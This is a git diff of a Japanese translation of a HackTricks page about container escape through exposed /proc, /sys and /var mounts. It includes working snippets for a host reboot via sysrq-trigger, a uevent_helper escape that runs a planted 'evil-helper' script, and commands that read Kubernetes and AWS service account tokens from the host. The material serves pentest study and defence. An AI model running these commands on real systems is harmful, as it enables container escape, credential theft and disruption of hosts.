Translated ['src/linux-hardening/privilege-escalation/docker-security/do

This commit is contained in:
Translator 2025-02-03 15:46:24 +00:00
parent 33967ece38
commit 78e2d168e7

View File

@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
`/proc``/sys`、および`/var`の適切な名前空間の分離なしでの露出は、攻撃面の拡大や情報漏洩を含む重大なセキュリティリスクを引き起こします。これらのディレクトリには、誤って設定されたり、無許可のユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助ける情報を提供する可能性のある機密ファイルが含まれています。たとえば、`-v /proc:/host/proc`を誤ってマウントすると、パスベースの性質によりAppArmorの保護を回避し、`/host/proc`が保護されなくなります。
`/proc``/sys`、および`/var`の適切な名前空間の分離なしでの露出は、攻撃面の拡大や情報漏洩を含む重大なセキュリティリスクを引き起こします。これらのディレクトリには、誤って構成されたり、無許可のユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助ける情報を提供する可能性のある機密ファイルが含まれています。たとえば、`-v /proc:/host/proc`を誤ってマウントすると、そのパスベースの性質によりAppArmorの保護を回避し、`/host/proc`が保護されなくなります。
**各潜在的脆弱性の詳細は** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**で確認できます。**
@ -15,7 +15,7 @@
#### **`/proc/sys/kernel/core_pattern`**
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)で説明されています。
- コアファイル生成時に実行するプログラムを定義でき、最初の128バイトが引数としてされます。ファイルがパイプ`|`で始まる場合、コード実行につながる可能性があります。
- コアファイル生成時に実行するプログラムを定義でき、最初の128バイトが引数として使用されます。ファイルがパイプ`|`で始まる場合、コード実行につながる可能性があります。
- **テストと悪用の例**:
```bash
@ -47,8 +47,131 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認
#### **`/proc/sys/fs/binfmt_misc`**
- マジックナンバーに基づいて非ネイティブバイナリ形式のインタプリタを登録できます。
- `/proc/sys/fs/binfmt_misc/register`が書き込み可能な場合、特権
- マジックナンバーに基づいて非ネイティブバイナリ形式のインタープリタを登録できます。
- `/proc/sys/fs/binfmt_misc/register`が書き込み可能な場合、特権昇格やルートシェルアクセスにつながる可能性があります。
- 関連するエクスプロイトと説明:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- 詳細なチュートリアル: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc`
#### **`/proc/config.gz`**
- `CONFIG_IKCONFIG_PROC`が有効な場合、カーネル設定を明らかにする可能性があります。
- 実行中のカーネルの脆弱性を特定するために攻撃者にとって有用です。
#### **`/proc/sysrq-trigger`**
- Sysrqコマンドを呼び出すことができ、即座にシステムを再起動したり、他の重要なアクションを引き起こしたりする可能性があります。
- **ホストを再起動する例**:
```bash
echo b > /proc/sysrq-trigger # ホストを再起動
```
#### **`/proc/kmsg`**
- カーネルリングバッファメッセージを公開します。
- カーネルエクスプロイト、アドレスリーク、機密システム情報の提供に役立ちます。
#### **`/proc/kallsyms`**
- カーネルがエクスポートしたシンボルとそのアドレスをリストします。
- KASLRを克服するためのカーネルエクスプロイト開発に不可欠です。
- アドレス情報は、`kptr_restrict``1`または`2`に設定されている場合に制限されます。
- 詳細は[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で。
#### **`/proc/[pid]/mem`**
- カーネルメモリデバイス`/dev/mem`とインターフェースします。
- 歴史的に特権昇格攻撃に対して脆弱です。
- 詳細は[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で。
#### **`/proc/kcore`**
- システムの物理メモリをELFコア形式で表します。
- 読み取りはホストシステムや他のコンテナのメモリ内容を漏洩させる可能性があります。
- 大きなファイルサイズは読み取りの問題やソフトウェアのクラッシュを引き起こす可能性があります。
- 詳細な使用法は[Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)で。
#### **`/proc/kmem`**
- カーネル仮想メモリを表す`/dev/kmem`の代替インターフェースです。
- 読み取りと書き込みが可能で、カーネルメモリの直接変更を許可します。
#### **`/proc/mem`**
- 物理メモリを表す`/dev/mem`の代替インターフェースです。
- 読み取りと書き込みが可能で、すべてのメモリの変更には仮想アドレスを物理アドレスに解決する必要があります。
#### **`/proc/sched_debug`**
- プロセススケジューリング情報を返し、PID名前空間の保護を回避します。
- プロセス名、ID、およびcgroup識別子を公開します。
#### **`/proc/[pid]/mountinfo`**
- プロセスのマウント名前空間内のマウントポイントに関する情報を提供します。
- コンテナの`rootfs`またはイメージの場所を公開します。
### `/sys` Vulnerabilities
#### **`/sys/kernel/uevent_helper`**
- カーネルデバイス`uevents`を処理するために使用されます。
- `/sys/kernel/uevent_helper`に書き込むことで、`uevent`トリガー時に任意のスクリプトを実行できます。
- **悪用の例**: %%%bash
#### ペイロードを作成
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### コンテナのOverlayFSマウントからホストパスを見つける
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### 悪意のあるヘルパーにuevent_helperを設定
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
#### ueventをトリガー
echo change > /sys/class/mem/null/uevent
#### 出力を読み取る
cat /output %%%
#### **`/sys/class/thermal`**
- 温度設定を制御し、DoS攻撃や物理的損傷を引き起こす可能性があります。
#### **`/sys/kernel/vmcoreinfo`**
- カーネルアドレスを漏洩させ、KASLRを危険にさらす可能性があります。
#### **`/sys/kernel/security`**
- `securityfs`インターフェースを持ち、AppArmorなどのLinuxセキュリティモジュールの構成を許可します。
- アクセスにより、コンテナがそのMACシステムを無効にする可能性があります。
#### **`/sys/firmware/efi/vars` および `/sys/firmware/efi/efivars`**
- NVRAM内のEFI変数と対話するためのインターフェースを公開します。
- 誤った構成や悪用により、ラップトップがブリックされたり、ホストマシンが起動不能になったりする可能性があります。
#### **`/sys/kernel/debug`**
- `debugfs`はカーネルへの「ルールなし」のデバッグインターフェースを提供します。
- 制限のない性質により、セキュリティ問題の歴史があります。
### `/var` Vulnerabilities
ホストの**/var**フォルダーには、コンテナランタイムソケットとコンテナのファイルシステムが含まれています。このフォルダーがコンテナ内にマウントされると、そのコンテナは他のコンテナのファイルシステムに対してルート権限で読み書きアクセスを得ます。これにより、コンテナ間のピボット、サービス拒否の引き起こし、または他のコンテナやそれらで実行されるアプリケーションへのバックドアを仕掛けることが悪用される可能性があります。
#### Kubernetes
このようなコンテナがKubernetesでデプロイされると:
```yaml
apiVersion: v1
kind: Pod
@ -103,8 +226,12 @@ XSSは次のように達成されました
コンテナはK8sサービスアカウントトークンまたはAWSウェブアイデンティティトークンを読み取ることができ、これによりコンテナはK8sまたはクラウドへの不正アクセスを得ることができます。
```bash
/ # cat /host-var/run/secrets/kubernetes.io/serviceaccount/token
/ # cat /host-var/run/secrets/eks.amazonaws.com/serviceaccount/token
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
```
#### Docker
@ -126,7 +253,7 @@ drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044
```
#### 注意
実際のパスは異なるセットアップによって異なる場合があるため、他のコンテナのファイルシステムを見つけるには、**find** コマンドを使用するのが最善です。
実際のパスは異なるセットアップによって異なる場合があるため、他のコンテナのファイルシステムやSA / ウェブアイデンティティトークンを見つけるには、**find**コマンドを使用するのが最善です。